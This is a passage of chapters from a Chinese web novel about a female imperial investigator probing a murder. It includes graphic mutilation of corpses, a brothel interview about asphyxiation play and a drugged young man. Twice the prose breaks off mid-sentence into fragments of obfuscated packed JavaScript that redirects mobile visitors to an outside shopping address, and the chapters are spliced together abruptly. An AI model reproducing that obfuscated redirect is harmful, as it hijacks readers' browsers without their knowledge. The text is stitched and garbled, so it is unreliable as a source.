谢遥知酸了:“你怎么不对我这么好?” 玉流:“那你给我当马?” “打搅了。” 谢遥知鼻腔里的味儿散了些,剑客是横趴在马背上的,他算了算位置:“你带着这假货一起骑回去?” “不。”今日事发突然,她没有备好草席,不想再沾血了。 “早上的两位你不是这么带走的?” 玉流:“当然是直接拖走,死人在乎什么?” “啊,”谢遥知拿扇柄拍脑门,“是我浅薄了。” 他都不用去想,那场面,一定很壮观,不知这崇州老百姓的心脏还好吗? 不用去问远的,近的就有一位。 敏郎捂住脸,早上的情景还历历在目,他的小心脏突突跳个不停。 “既然这样,”谢遥知趁机邀请,“玉流,不如和我共骑?” 玉流躲开:“不要,你身上有血。” 谢遥知:“这不是拜你所赐吗?” 玉流:“所以我拒绝。” 谢遥知:“嘿,你还有的选吗,不和我一起,难道你要和你的小仆一起?” 玉流笑着看他,也不说是不是。 谢遥知只是瞎说一嘴,见她这副神情,整个人都不好了:“你不会来真的吧,玉流?玉流!” “不行,”谢遥知脑子转得飞快,“那这样,我骑你的,带他回去,你骑我的。” 玉流:“那要看我的马愿不愿意。” 像是通了人性,白马紧接着就对着谢遥知摇头,表示它拒绝。 玉流:“它不愿意。” 谢遥知瞪眼:“你这马怎么回事,有没有眼见!” 玉流:“你再说一句,信不信它踹你?” “那个,”敏郎小声地打岔,“大人要不要骑我的马?” 谢遥知当然不准,拦着玉流,朝着敏郎骂:“男女授受不亲的知不知道,小郎君,你还有没有廉耻!” 莫名被骂了一遭的敏郎一头雾水:“啊?” 他是说了什么不好的吗? “别理他,”玉流拂开谢遥知的手,“我骑你的马,那你呢?” “我可以走路回去。”敏郎说得快,完全没有其他的意思。 “你确定?”这儿离太守府可有段脚程。 “你确定?”谢遥知终于听清了敏郎的话,非常赞同,“那就这样。” “嗯,”敏郎这声是回应玉流的,“大人要紧。” 玉流遂看向他的马:“你的马听话吗?” “听话的。” “让它过来。” 敏郎引着黑马走到玉流身前,他站在玉流身边。玉流捋着它干净柔顺的马鬃。马儿一般,能养成这样,养马的人用了点心思。 后方的谢遥知瞅着这郎才女貌的一对,越发不满。生生站进去,借着身形的阻挡拿胳膊推开碍眼的人。 敏郎被推得一趔趄,稳住后只听见谢遥知说:“他想走就走呗,难道你还想强迫他不成?” “你说得对,”玉流难得认可了谢遥知一次,翻身上马,抓紧缰绳,“我们走。” 玉流和谢遥知策马奔走在山道中,她的马在前面引路,不多时便快出了这座山。眼见崇州城整片的屋舍就在脚下,玉流却勒转掉头:“你先回去。” 看她毫不犹豫地折返,都不用猜她要去做什么。 谢遥知气得踢了一脚马腹,咬着指甲阴暗地盯着玉流远去的背影。 该死的,他一定要把那个碍事小郎君的底细完完整整地揪出来。 山路上,敏郎起先是努力跑了一阵的,可人怎么比得上马的速度?他跑得额头汗湿,气喘吁吁,累得不行。只能放弃,慢慢走着。 头顶的日光耀眼,长出山壁的树枝将山道分成明暗的两条,有些热了,他往里走了些,沿着树荫的地方,抚摸着腰间冷柔的山茶。 艳红的山茶,从她指尖落下,置于他的耳边,的确就像梦一样。 所以,折断的花,如何才能长久地留下来? 好像不能。 那送花的人呢? 她会愿意留下吗? 大概是不愿的,敏郎失落地垂下头。 忽的,轻快的马蹄声由远及近,敏郎下意识以为自己幻听了。直到熟悉的黑蹄停在眼前,熟悉的声音自头顶响起。 “坐上来。” 看他没反应,玉流拍拍身后的位置,又说了一遍:“上来。” 以为自己被抛弃的小狗懵懵地抬头,满脸的不可置信:“大人怎么回来了?” “我踢了你一脚,又骑了你的马,再让你走路回去的话,是我过分了。”毕竟他明面上是太守府的人,若只有她自己回去,保不准柳吾善不会问东问西。 “不、不会过分。”敏郎否认了她的话,却又顺着她的话摸向先前被踹到的部位。在腰侧,越摸越麻。 敏郎羞赧地躲开她的视线:“真的要一起吗?” 玉流盯着他,好像那些新进的外侯官被她训的时候也是这副样子。她有这么吓人吗,至于这么害怕吗? 她俯身,耐心道:“小郎君,或许你不知道,我给的机会,从不会有第二次。” “啊,好,好的。”似乎是听出了玉流不是在捉弄他,敏郎红着脸,飞快地扑了上去,然后手忙脚乱地转身,坐得端端正正。 “大人,我好了。” 眼前是一片蓝黑上的后颈,玉流默了一瞬,点点敏郎宽厚的背:“你坐前头,我坐哪儿?” 敏郎被点得一机灵,说话越来越轻:“大人不是坐后面……吗?” “那我把缰绳给你?” “呃……好?不、不好。”敏郎揣摩着玉流的脸色变化,立刻否决。 玉流卷了卷缰绳:“那你还不下来。你个子比我高,我坐后面能看见什么?想让我把你带进沟里吗?” “啊,哦。”敏郎想起了玉流拍的地方,的确是在她身后,这才意识到自己会错了 11. 静旁观 《师妹她一心杀我》全本免费阅读 两人回到太守府时,正赶上午食。 在院子里一边吃饭一边来回兜圈的杨淮月终于见着了人,堆起笑脸大声招呼:“玉大人回来了呀。” 玉流朝着杨淮月点点头,她是来找谢遥知的。可不知怎的,这位夫人的目光,是不是太灼热了? 她同端着碗抬头的谢遥知换了个眼神:“怎么一回事?” 谢遥知眨眼:“听听不就知道了。” 杨淮月一无所觉,很是热情:“大人渴了吗,要喝茶吗?” 玉流:“不必麻烦了,夫人吃饭吧。” “我们才开始吃嘞,那什么,”杨淮月已经回到饭桌边,伸脚就去踢旁边的柳吾善,“老柳有事情想请教一下大人,是不是呀!” 杨淮月这一脚踢得狠,柳吾善吃痛,真的是,想听怎么不自己问!但他也只敢心里说说,迫于夫人的眼神威逼,拍着后脑勺,哈哈道:“那个,玉大人,城门外那两位,是不长眼惹怒了大人?” 城门? 原来是这件事,玉流觉得好笑:“你说那两个死人。” 柳吾善小声嘘嘘:“是门神。” 门神,真门神,倒挂在城门下鬼见了都吓得不敢近崇州。 因为玉流给那两位刀客划了嘴巴,一边一道裂口,长长的半月弧划拉到颧骨下,面相惨烈,再加上被马拖着削平了一半的脑袋,脑浆流下来,跟没死透活回来的腐尸一样,靠近城门口的老百姓都吓惨了。 这一大早上,不知多少人见到过这位女侯官骑马拖着两具尸体穿过半座城,又不知多少人来告状要他们去看看。柳吾善和卢主簿都不想去,杨淮月倒是想,柳吾善不让,三人就决定抽签。 卢主簿倒霉透顶,抽中了,去城门下看了一眼,回来就病倒了,白着脸躲在房间里不肯出来,说是想吐。 那怪不得少了一位,不过这几个老东西当了这么久的官儿,阈值这么低?这种话玉流不会说出来,她沉吟片刻,开始说毫无歉意的道歉。 “是我冲动了。这二人自己撞上来说想杀我,我又不知道他们是哪家的,索性杀了直接挂到城门上去。一传十,十传百,总会有人来给他们收尸的。” 她随口说着:“要不是我赶着去找慕容鸠,他们该生生受这伤的。不过这样也行,下地狱的时候让别的鬼看看,下辈子,管好自己的嘴巴。” 柳吾善顿时睁大眼睛,惹不起惹不起,他还是好好吃饭吧。 杨淮月则给她竖起大拇指,衷心地佩服:“大人,那我给您添饭?唉,敏郎呢?” “牵马回马舍了。”还替她揽了洗马的活儿。她看白马没有不愿意的意思,就同意了。 玉流说罢,又道:“夫人,替敏郎盛一碗吧,我就先不吃了。” 杨淮月:“啊,大人是嫌弃我手艺了?” 玉流笑着摆头:“不是,饭后施刑,不利消食。” 看杨淮月不明白,谢遥知吃下嘴里的一口,贴心解释:“夫人,她要去审问犯人,您莫忙了。”玉流不会想让太守府的人掺和的。 杨淮月看了一眼柳吾善,他神色如常,便道:“这样啊,那我先去给敏郎盛饭吧。” 杨淮月去了东厨,这院子里就只有她,谢遥知和一个只顾着闷头吃饭的柳吾善。 玉流也没管这位柳大人,看着谢遥知。 “脸皮这么厚,初来乍到就蹭上饭了?” “夫人好客。” “行,人呢?” “丢进地牢了。” “哪边走?” “面前衙门大门进去左手边,一直走,有道小门。” “这么熟?” “问过路。我陪你?” 玉流还未回应,埋头苦吃的柳吾善疯狂咳嗽了起来:“咳咳咳,对不住,饭卡进喉咙了,咳咳咳……” 这恰好的节点让玉流的眼里浮现了很浅的一层笑,她道:“不用了,这毕竟是官府,你就和……” 她淡然地瞄了一眼快咳出肺来的柳吾善:“和柳大人慢慢吃。” “嗯咔咳咳咳咳咳。” 柳吾善气胸一跳,更加猛烈地咳嗽起来。老天爷作证,这回是真的呛到了,举着袖子捂住脸,另一只手赶忙去拨开喷出来的米粒。 盛好饭出来的杨淮月不知柳吾善怎么就成这样了,只觉得丢脸,放下碗,边给他拍背边唠叨:“多大岁数的人了,饭都吃不好?” 玉流笑着已走到门口,迎面差点同敏郎撞个满怀。 “你怎么站在前门这儿?”马舍在后面,他来吃饭,应该走的后门。 敏郎低着头,水迹还未干的手指按在被头发擦过的下巴上,小声道:“那个,我猜大人应该要去看那位,所以我……” “先别说这个,血和土擦干净了?” “嗯,血不多,它又很听话,也很配合。” “行,所以你特地在这儿等我?” “嗯,进去了怕被那位公子……” 敏郎越说越小声,玉流听明白了,给他补上了最后几个字——说闲话。 玉流咧开嘴角:“等我做什么?” “我随大人去吧。”敏郎抬起头,很是认真。 “你还要吃饭的吧,为了你的胃口,就别跟来了。” “我不怕,我给大人递刀子。” 玉流感到意外:“这么有觉悟啊,那走吧。” 过了许久,吃饭吃到一半的杨淮月:“唉,敏郎呢,马舍那么点大的地方都会迷路?” 杨淮月这么一说,谢遥知反应过来,啪地放下碗。迷路,迷什么路,迷路到地牢? 柳吾善眼珠子一转,拉下杨淮月按在身边:“你别管了,快吃你的饭。大人有大人的安排。” 说着,抬脚一勾,勾到了谢遥知的凳子,俯身靠向他:“来来来,谢公子远道而来,多吃点,多吃点。” 这虚伪的亲近让谢遥知眼皮跳了一下。 这位,是故意的。 怕他去地牢找玉流?那他们放他进来做什么? 狐狸更擅长演戏,眨眼方才的气愤就像是看岔了的错觉,忘年交似的同柳吾善攀谈起来:“多谢柳大人,柳大人也多吃一点,来来来,我是小辈,大人来……” 被排除在外的杨淮月咬着筷子不太明白,她是不是得给这俩来壶酒?杨淮月突然道:“谢公子能喝杏子酒吗?” 谢遥知正和柳吾善客气的手停下:“夫人说什么?” 说回到地牢,地道狭窄湿冷,敏郎点了蜡烛,拿着烛台,领着玉流往下走:“土块砌成的台阶,高低不一的,大人请小心些。” 玉流听他脚步稳平,走的每一步都不带试探,心想能有多不一,自己一脚下去却真的因为台阶太高而失了重心,伸手撑在敏郎的后背,稳住了,但敏郎也停了。 “大人?” 玉流轻咳,顺势拍拍他,假装无事发生:“好歹是个衙门,一个差役都没有?” 敏郎:“以前是有的,但是……因为实在没什么案子……” 玉流:“我懂了。” 到了地方,眼前的所有都搭建得很粗糙,除了几间牢房,再无其他,都不知道这地牢到底有没有用过。 不过这样也算合理,崇州这地方容易死人,但死的多是江湖上的人。江湖人有自己的一套处事规矩,当场杀,当场死,或者追杀死,反正民不告,太守就管不着。 柳吾善这父母官,当得可太轻松了,想来陛下也是知道他上任以来的事迹——无,所以才派她前来。 只是,国舅案,他想碰吗?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897536|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 秦辜幸:“比如呢?” 他说得极其无所谓,却让玉流猛地记起一个事实,眼前这位收敛了邪气,看起来很正常的美人可是在一年内平地起阁楼的秦辜幸,一位凭空出现掌握着极乐天这座深不可测销魂窟的神秘人。 就算是慵懒享乐的狸猫,也有尖牙和利爪,也是食肉的。 是她多虑了,丢开木牌,又掏出锦囊里的另一个:“这张脸呢,眼熟吗?” “哧!”秦辜幸伸着手指挪开怼到他眼前的脸皮,不禁吸气,“大人还真是,不拘小节。” 不拘小节已经是他能想到的,最为客气的说法了。 秦辜幸挺直脊背,站久了有点累:“我什么身份的人,怎么可能记得住每一个?不如大人同我一起去见见另一个。” “也好。” “不过……”秦辜幸拦下欲往前的她,“我知大人有一套自己的手段,但这儿是我的地盘,望大人不要吓坏他。” 真是是恶名千里传,玉流笑了笑:“好说。” 清雅的隔间里,玉流才落座,门就打开了。 “楼主。” 秦辜幸示意他进来。 进来的是一位清秀的小公子,瘦瘦弱弱的,清倌人,从底子里就透出男女兼备的柔美。敏郎和他,不是一类的,所以当初为什么想不开要过来问门路? 敏郎被看得毛毛的:“大人,大人不要这样看我。” 玉流:“哦。”小气。 不看敏郎,玉流就看小公子:“认识这张脸吗?” “啊——” 突然冒出来一张死人脸,小公子被吓了一跳,跌倒在地上,缓了一会儿才爬起来,还合上了自己的嘴巴:“是他。” 他揉了揉眼睛:“他怎么只有……脸了?” 玉流慢条斯理地收回脸皮:“那就是认识了,你还记得他什么?” 小公子有些怕,先看了眼秦辜幸。 秦辜幸当甩手掌柜正在喝茶:“大人问什么你就答什么。” “是,”小公子依言作答,“他是半个月前才进来的,说是家里穷,只能卖了自己,分管的叔叔心软就答应了。可是,我总感觉他和我们不太一样。” 玉流记着秦辜幸说不要吓人的嘱咐:“你坐下详细说说。” 小公子谨小慎微,坐着凳子的边边:“我、我来这儿是因为我喜欢。” 玉流懂了:“好的。” 小公子是羞耻的,这种事情说出来,定会让旁人看不起。可这位俊俏的大人,冷静得很,知道了这种事,却完全没有看轻他的意思。小公子这下是真的安心了:“他好像也是自愿的,但是就是很怪的自愿。” 他不知道如何描述,绞尽脑汁回想当初的情景:“我们这儿分两类人,一类是我这样的,另一类就是迫不得已。这一类,从抗拒到接受需要很久,但是他,一直躲着人,从不接客,直到听说那位客人来,就跟被夺了魂一样变了个人,太奇怪了。” “替那位客人传话的人说要熟练的,叔叔就没叫他,可是他却主动站了出来,死活要去。也是见鬼了,他居然真就被看上了。叔叔怕他应付不过来,另一个就推荐了我,让我同他一起。” 小公子有些尴尬,悄悄察言观色,见玉流神色镇定才敢继续:“进去了我才知道,这位客人啊喜欢掐脖子,越窒息越兴奋,这对雏儿是很危险的事情,怪不得说要熟练的。” 说到这儿,玉流已经搞清楚了,假货和安德明的死真有关系。玉流啧啧,这暗杀还真的,牺牲挺大的。 想到这里,玉流没忍住好奇心:“中途你们没差点被他掐死?” “啊,不是这样的,”知道玉流误会了,小公子摆手道,“他才是被玩的那个。” 18. 第三人 短暂的怔愣后,玉流眼里绽了抹奇异的笑。 真是看不出来,安德明居然是这样的人。这二世祖平日里仗着父亲姐姐的余威狐假虎威嚣张跋扈惯了,私底下却是根低三下四的烂骨头,床上居然喜欢这么玩吗? 可他既然是被玩的那个,怎么又会闹出人命来?玉流看向秦辜幸:“他玩死过人的消息你从哪里知道的。” 秦辜幸正撑着脸看戏呢,无辜极了,指着小公子:“喏,他之前和我说的。” 小公子点头如捣蒜:“哦哦,这件事是那位客人同行的护卫同叔叔说的,不要强迫,挑个自愿的。” 小公子:“这话说出来之后的确吓退了不少人呢。” 玉流觉得哪里有些怪,一时又说不上来,只好先放着:“你继续说。” “我仔细观察过,那位客人来的时候脖子根上就有印子了,床上也说要越用力越好,他、他还嫌我掐得不够,不够舒爽,”小公子特别委屈,比划着自己的手,“那也是没办法的事啊,一般都是别人玩我的。” 说罢,抬眸偷看了一眼玉流。 这光明正大偷看等着被发现上演欲拒还迎戏码的把戏没被玉流接住,被站在玉流身后的敏郎接住了。 这里的人不论男的女的说话都这么会勾人的吗,尾音娇媚得很。等等!敏郎眉眼一拧,回过味来,这才是男女通吃的主儿啊,宝儿一个小丫头上不了桌,眼前这位可不是,该有的都有。 敏郎气得磨牙,小清倌,往哪儿看呢!他能不能把这没眼见还痴心妄想的狗崽子的眼睛戳瞎啊。 被大人身边的凶狠公子瞪了好几眼,小公子福至心灵,原来两位是这样的关系啊,好的,他会收敛的。 小公子想到做到,立刻移开眼睛:“他嫌我没用把我赶下了床,换成跟着他一起来的护卫了。我看他们仨玩得挺花的样子,想着要不别打扰他们好了,然后我就走了,之后我就什么都不知道了。” 终于说完了,敏郎深吸一口:“大人我们可以走了吗?” 秦辜幸装作不解:“小郎君这么急吗?” 敏郎冷眼瞅他。 秦辜幸斜着眼:“呀呀呀!”他就赌玉流在,敏郎不敢把他怎么样。 事实上玉流的注意半点都没分给这两个人。她推开桌上碍事的茶具,猛地抓起小公子,眼神变得冷肃:“你说换成谁了?” 玉流骤然变脸的模样让小公子想起了没进极乐天的之前,他在家乡的旷野上瞧见的白腿燕隼。小小的一只,黑羽白翎舒展,振翅翱翔,看似漫不经心地打转,可一旦发现猎物就猛地俯冲,鹰钩的嘴一口就叼住猎物脆弱的脖颈。 实打实的猛禽。 被掐着衣领的小公子浑身发抖,吓人,好吓人,但是也好帅气,娘亲,我的心又动了。 他这一番心路历程毫不意外地彰显在了脸上,从恐惧到享受不过须臾。 敏郎握紧拳头,身边的秦辜幸似乎听见了骨头摩擦的声音,哦吼,他甚至还有心情吹口哨。 嘘的声音刚溢出嘴角,后颈一阵就凉气拂过,秦辜幸抖了抖,自觉起身,分开两人,再请玉流坐回来:“坐下说,坐下说。” “你也是,赶紧说完,大人还有要事,”秦辜幸抬手敲在他的脑袋上,“别整日做什么美梦。” “哦,我知错了楼主。” 秦辜幸发话,小公子也不敢多想了:“就是带着那位客人进来的冷脸公子,挺凶的模样,腰上还别着剑,我也不知道是谁,应该是护卫吧,他们一直走得很近,去哪儿都贴在一起。哦哦,也就是他说客人玩死过人。” “他好像对这里挺熟的,但我从前没见过他。我就知道这些了,其余真的没了。” 没了的话还不赶紧走,敏郎抬脚踢向秦辜幸的椅子腿儿,意思不言自明。 秦辜幸稳住椅子,斜眼给他送个白眼,然后看向小公子:“这事情就埋葬在你这儿,懂了吗?” 见他点头,秦辜幸道:“回去吧。” 小公子恋恋不舍地离开,合上门前还骄矜地瞥了玉流几眼,可惜玉流压根没看见,她在整理自己的思路。 自打她离京到崇州,一个个的嫌疑犯粉墨登场,到这儿已经是第三人了。 形影不离,像护卫,带着剑,安德明身边能符合这些条件的,极有可能是那名被安家招募的剑客。 无涯贼首,送死假货,断袖剑客,这三人间,好像有根似有若无的丝线将他们串联起来,尤其是第二个和第三个。如果她没有猜错,所谓的“玩死过人”,实际上是个暗号。 那这根丝线,会是阴阳面吗,安家又在其中扮演了什么角色呢? 安德明,安思贤……安国公!看来一切都得推翻,尤其是安国公,这个贼得很的老东西,没脱去官服前就是玩弄权术的个中好手,虽然现在顶着个有名无实的国公名头,但她怎么都不觉得他会允许自己的亲儿子被一个江湖剑客玩弄于股掌之中。 他有问题,从他去找章囚起,就有问题。 玉流吐出一口浊气,真是要了命了。 作为安德明的贴身护卫,作为劫杀案的亲历者,逃生者,包括她在内的知情者,都有意无意地忽视了他。 她根本不该错过这个明显的遗漏的,先入为主让她进了套,现在估计已经迟了,剑客只是一枚棋子,最后一滴价值被挤榨干净后就废了,要么失踪要么死亡,反正是无用了,查他也查不出什么来。 看来只能冒险让诸几他们去查查安家了,希望还来得及。 “……玉大人在想什么呢,玉大人,玉大人?” 秦辜幸朝着怔怔出神的玉流喊,就差直接上手了。 “在想,”玉流回神,自然地接上话,“你这儿选人,不查背景?” “背景?为什么要查,”秦辜幸偷懒得一派理所当然,“正经人谁来当清倌人,我是赚钱的,不是救命的。” 玉流:“那我劝你之后挑挑人,别什么歪瓜裂枣都放进来。树大招风,极乐天这么招摇的地方,你比我明白。” 秦辜幸懂她的意思,咧嘴笑了笑:“大人说的也是,我后面的确得清理清理了。” “那好,时辰差不多了。”玉流今夜得了这么一个不好不坏消息,算不上高兴,聊胜于无罢了,她想走了。 秦辜幸也不挽留,离开雅间走了几步才想起来什么:“大人东西不要了?” “要啊,不要白不要。秦楼主放哪儿了?”玉流不走空。 “大人跑一趟做什么,让你的小郎君去拿呗。” 秦辜幸轻声道:“绣夏。” 绿意的裙摆悄然出现,绣夏不知从哪里走出来:“东西金贵,我便没有随身带着。” “有一样是玉做的,的确贵,”玉流道,“敏郎,去吧。” 敏郎的眼睛有意无意掠过秦辜幸,听话地起身跟着绣夏走进了岔道。 人走远了,秦辜幸突然邀请:“大人要不要喝口茶再走?” 太刻意了,玉流默不作声。 秦辜幸笑:“放心,普通茶水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897537|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人难得来,就当是让我尽尽地主之谊。” 他们又回了雅间,玉流直接道:“支开人你想问什么?” 秦辜幸慢悠悠地给她倒茶,也不藏着掖着:“那位小郎君不是外侯官的人吧,大人就这么放任他听见这些秘辛?” 他悄声问,眼波流转:“你把他自己人了,还是……准备把他当自己人?” 玉流浅喝了一口茶,清明地很,完全不吃秦辜幸魅惑的这一套:“你觉得呢?” “我觉得吧,你在试探他。可你想试探他什么?你不信他?” 玉流不承认,也不否认:“秦楼主,我以为你就是一个做风尘生意的男老鸨,怎么,包打听的生意也想掺和一脚,你想卖给谁?” “大人不觉得那位小郎君对你很上心吗?” “你在替他说好话?你有这么好心肠?” “大人没发现吗,只要在一起,他的眼睛就从没离开过你。” “我一直很好奇,为什么包打听没有你这儿更深的消息。” “依我看来,你的敏郎真的把‘你的’贯彻得很好。” “我姑且问问,极乐的上面,又是谁替你顶着天?” “我这一年来看得人多了,眼光还可以,那小郎君人不错的,大人不妨试一试,试一试会有惊喜。” “你先前提的交换,你对她有什么目的?” 这一问似平地惊雷,让你一句我一句的鸡同鸭讲就此斩断。 “哈,”秦辜幸笑了,突然笑了,张嘴大笑,“哈……哈哈哈……哈哈哈哈哈哈……哈哈哈哈哈哈哈。” 玉流就看着他笑。站在翻脸边缘的时候的确有着外侯官的阴冷,那双凌厉的眼似乎真要把秦辜幸看透不可。 转眼,笑声停了。 “玉大人你可真有意思,听我一句劝,试探来试探去小心别一头栽进去。” 秦辜幸无视那双冷得要命的眼睛,若无其事地动了动双腿,假装什么都没发生过,插科打诨道:“至于其他的,玉大人说什么呢,我不过一个小小的,想赚钱的小百姓,就是一见钟情看对了眼,哪里来的目的什么。” 玉流哼笑:“是吗?” 那厢,敏郎跟着弯弯绕绕走了半圈,不知到了何处。 他站在外头等着,绣夏从一间小屋走出来,抱着个四方的木盒交给敏郎:“小郎君拿好。” 敏郎:“好。” “还有这个,这是楼主让我给你的,”绣夏从袖中拿出一卷小书,比手掌大些,用红绳绑着,眼里藏不住的暗示,“说是……见面礼,郎君以后,好好学,好好……用。” 他知道是什么了,抿唇犹豫了一下后沉默地接过,瓮声瓮气道:“谢谢。” “不用客气,我们回去吧。”绣夏走到前头带路。 “郎君跟着我,这儿的路有些绕,我们……”绣夏走着走着,不知什么时候起就没听见身后的脚步声,她疑惑地回头,“小郎君?” “楼主。” 匆匆回来的绣夏俯身,在秦辜幸身边一番耳语,不轻不重的,跟蚊子叫似的。玉流扭头,迟迟不见敏郎,一脸莫名其妙,闲着无事,就支起耳朵听了几句。 “我就一个没留意,……大概就是——”绣夏后面的话被玉流打断了。 “噗。”一口茶喷出来,玉流顾不得下巴滴落的茶渍,抓住走来想要帮她清理的绣夏。 若不是耳力太好,她都要怀疑自己是不是听错了。 “你方才说什么?敏郎走丢了?!” 19. 闻错香 这么大的一个人,不至于走丢就消失,绣夏也说了,她发现敏郎不见之后立即派人去寻了,应当无事。只是这里不是崇州城,不是太守府,不是逍遥阁,这是极乐天。这里的人,这里的花,这里的酒,都不正常。 玉流头疼,不是说了要跟紧人了吗,怎么还是出岔子!她真是高估他了。 罢了,玉流起身:“我也去找吧,找到了就直接走。” 她急着去找人,没发觉对敏郎的担忧压过了一直萦绕在心头的隐隐怪异之感。 见玉流也要去,绣夏用眼神询问秦辜幸,得了他的首肯后才恭敬道:“那大人请随我来。” 离开雅间,不知走了几步,绣夏矮身打开一道暗门,走下去后玉流恍然大悟,也难怪敏郎会走丢,原来绣夏带着他去了地下。 这下面布局像地宫一样,没有人带路,玉流自己都不容易分清东南西北。 “秦楼主,你是有什么见不得人的癖好吗?” “玩呀,这是情趣,”秦辜幸避实就虚,“再说了,我这地下藏着好多好东西,都是我的宝贝,自然要布置得小心。” 玉流:“哦。”并在心里补上后一句:那就是见不得人。 他们继续朝着里面走去,不多时,墙上的烛灯晃了晃,有风吹出,一名身穿彩衣的姑娘从长廊深处跑出来,见到他们,停下:“参见楼主。” 她行了个礼:“那位小郎君已经找到了。” 秦辜幸:“那就太好了,将人叫过来吧。” 姑娘:“但是……” “嗯,”秦辜幸狐疑道,“但是什么?” 姑娘纠结,往玉流身上落了一眼:“但是他不太好。” 玉流蹙眉:“什么意思?” 半开的房内,敏郎坐在木雕的床上,锦被堆起,一半围住劲瘦的后腰,一半盖住蜷曲的双腿。他满脸通红,眼尾流着清泪,沿着棱角分明的下颌骨滑落,披落的发丝也凌乱地缠绕在一起,搭在胸口,那处的衣衫早就被扯开,露出染上一层艳红的锁骨。 “放手,姑娘,请、请放手啊!” “可是这位郎君,你看起来很难受呀。” “我知道,你们快走,快走啊,啊,不要、不要碰我!” 床边站着的两位姑娘心累地对视,认同了彼此的看法:不让人碰就不让人碰,何必叫成这样,搞得她们居心不良一样,她们明明只是想带他去用凉水压一下心火而已。 廊外静得连呼吸声都清晰可闻,谁的耳畔都是敏郎极力克制又难耐诱人的喘息声。 玉流摸了下耳垂,赞同了那位姑娘的说法,敏郎的确不太好。对此,她问:“秦楼主,你有什么头绪吗?” 秦辜幸讪笑,似乎没料到会搞出这样的局面:“嗯,这,绣夏你有什么头绪吗?……绣夏,绣夏?” 绣夏十分有先见之明地和彩衣姐妹退到了十步之外,两个人不仅装聋子,还装哑巴。 秦辜幸:“嘿,你们两个……” 秦辜幸吞吞吐吐的工夫,玉流的脸色已经难看起来,压着脾气:“秦楼主,你最好和我解释一下这到底是怎么回事。” 秦辜幸:“嗯……是意外?” 玉流提着声儿:“你说是什么?” 在玉流阴冷的眼神威压下,秦辜幸依然很镇定:“不用急,没事的,相信我。” 他敲敲门框,让里面的两位姑娘出来。他在手下面前还是很有楼主的风范:“咳咳,怎么回事,找重点,长话短说。” 看起来年长些的姑娘道:“那位小郎君闻到了移情香。” 另一位点头,她真觉得这是无妄之灾:“我们其实也不清楚,那时候关着门在调香呢,他不怎么的就进来了。” 玉流打岔:“那你们为什么无事?” “哦这位客人有所不知——” 秦辜幸:“是大人。” 姑娘立即纠正:“大人有所不知,屋里是燃了香,但只有几只用来试验的兔子在,我俩在隔壁间等着最后的效果。” 这样的话听起来的确是意外……等一下,刚才说实验,什么实验?玉流如鲠在喉:“你们这儿到底是做什么的?” 姑娘们噤声,都没回话。 倒是秦辜幸扬声笑了一下:“哈,做什么的……” “大人,我说了,我们都有秘密。我有,极乐天也有,”秦辜幸栖身靠近,低头凝视玉流,冷艳开口,“大人还想问吗?” 这是突然变脸的,独属于疯子压迫感。 玉流识趣,与她无关的事不管。她移开眼,将目光放回屋里那位与她有关的人身上:“我当做没听见,然后呢?” 秦辜幸微微笑:“你们继续说。” 姑娘:“然后我们就听见一道很响的重物落地声,吓得半死,还以兔子成精反抗了,出来一看,是有人闯进去了。” “我们发现后立即给他换了房间,就是吧……他好像体质不太好,那屋子香很少的,他应该也没闻到多少,但是没多久还是这样了。” 玉流点头表示了解了,这移情香到底是做什么的,她也不必多问:“有解药吗?” “啊,”姑娘尴尬地挠挠头,“有是有,但是只有半成品,能解香,就是……会有副作用。” 玉流:“什么副作用?” 姑娘们你看看我,我看看你,最后双双看向秦辜幸,她们可不敢说。秦辜幸选择看头顶,他也不敢说。 玉流换个问法:“那怎么办?” 依然是死一样的沉寂。 “行吧,”玉流放弃了,“不吃解药他会死吗?” 终于有回应了,姑娘摇头:“不会,剂量少,熬几个时辰也就过去了。” “会有后遗症吗?” “这得看个人。” 那就是什么都不好说了。 “我知道了,多谢,”玉流觉得自己好累,瞥眼,“秦楼主你很高兴吗?” 秦辜幸自听见玉流问出“怎么办”后就仰头笑得风情万种,这会儿被发现了,立即收敛,轻轻嗓子:“玉大人,事已至此,不如——” 他未说完,玉流已经进了屋,然后,“啪”地关上门。 被门风打了一耳光,秦辜幸眼里的惊讶瞬间变成了兴奋,兴奋又陡然变成了漠然。那张藏在面具下的脸敷衍地笑了笑,他最烦给人做嫁衣了。 “玉大人,我在楼上的雅间等着你,”秦辜幸懒懒地转身,回看的眼神冷漠地很,“你们还站在这里做什么,要听墙角吗,还不快走!” 玉流静静地贴着门,等着外面的五道脚步声由近及远,才悠哉游哉地走到床头,俯视着浑身发抖的敏郎:“其实我也挺好奇的,男子,还是有心上人的男子,中药后能靠毅力撑多久?” 为心上人守身如玉的小郎君,真的能抵得住催情的迷香吗? 玉流冷如清泉的嗓音,让昏沉的脑袋清明了一瞬。敏郎抠着手心,半月的指甲印留下,钻心的疼痛让他睁开眼。 “大人。” 清澈又柔媚的声音,干净又朦胧的眼神,还有那张似乎摸一摸就能滴出水的脸,真如一朵雨后娇艳的红山茶。若是女子展现出这般的神态,男子估计已经扑上去了吧。 玉流无声笑笑,伸手够来把椅子,坐下,温柔地提议:“实在不行,我替你出去叫人?” 做个善解人意的主人是她最近的小善心。 